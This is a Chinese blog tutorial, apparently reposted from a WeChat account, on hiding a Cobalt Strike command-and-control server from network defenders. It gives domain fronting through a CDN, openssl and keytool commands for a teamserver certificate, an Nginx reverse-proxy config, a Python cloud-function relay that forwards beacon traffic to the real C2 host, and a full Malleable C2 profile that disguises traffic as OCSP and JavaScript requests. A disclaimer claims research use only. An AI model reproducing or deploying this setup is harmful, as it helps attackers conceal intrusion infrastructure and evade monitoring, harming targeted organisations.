声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好“设为星标”,否则可能就看不到了啦!
0x01 域前置
简单的说CDN,它其实就是一种分布式缓存服务器,用于存放一些静态资源(图片,html,css,js,视频)等资源,来达到缩短响应时间的目的,一些动态的数据是从源站中获取,也就是说,当用户访问一个挂有cdn的域名,响应结果=cdn节点上的缓存的静态资源+源站的动态数据
HTTP
首先我们在阿里云的CDN控制器上配置
接下来配置一下回源主站
这一步告诉cdn节点服务器,到源站那些端口取数据
流量设备也查不到任何与cs的真实ip通信记录,全是与cdn节点建立的联系
HTTPS
这种方式更安全,你的域名不会被流量设备查到,内容是加密的
申请成功之后,下载你的公钥与私钥
后缀为.key表示私钥(保管好,别泄漏了)
接着使用命令
生成c2证书
openssl pkcs12 -export -in 公钥文件 -inkey 私钥文件 -out cs.store -name test_cert -passout pass:设置密码
keytool -importkeystore -deststorepass 设置密码 -destkeypass 设置密码 -destkeystore cscert.store -srckeystore cs.store -srcstoretype PKCS12 -srcstorepass 设置密码 -alias test_cert
接着将生成的cscert.store文件,复制到cs服务端的根目录下
然后修改一下teamserver
HTTP与HTTPS比对
先看看Http,建立监听的是cdn节点
建立监听的是cdn节点
0x02 域前置与nign反向代理
https://www.anquanke.com/post/id/239640
这里我测试发现,即便设置了CDN回源ip与自定义端口但还是无法上线cs,这里用个Nigix反向代理就能解决.
但是虽然说netstat -ano查不到cs真实ip,但是这种方式流量设备能够查到cs真实ip
首先还是得需要一个挂有CDN服务的域名,例如www.a.com
CDN回源ip设成cs真实ip,端口默认80
接着弄Nigix反向代理
server {
listen 80;
server_name 127.0.0.1;
location / {
proxy_pass http://127.0.0.1:9101;
}
}
接着cs上设置两个监听器
一个
0x03 云函数
创建好云函数之后,返回给你一个域名A
用户访问--->域名A---->云函数处理用户请求----->将请求发送给你的真实vps
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://csip即端口' # 修改为自己C2服务器地址
path=event['path']
headers=event['headers']
params=event['queryString']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False,params=params)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False,params=params)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
配置如下
在cs根目录下创建yun.txt,内容填充如上
然后输入命令
./teamserver ip 密码 yun.txt
用云函数给你提供的域名
对某app的加密定位与hook
JNDIExploit多功能利用工具
原文始发于微信公众号(李白你好):C2隐匿—云函数&域前置
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论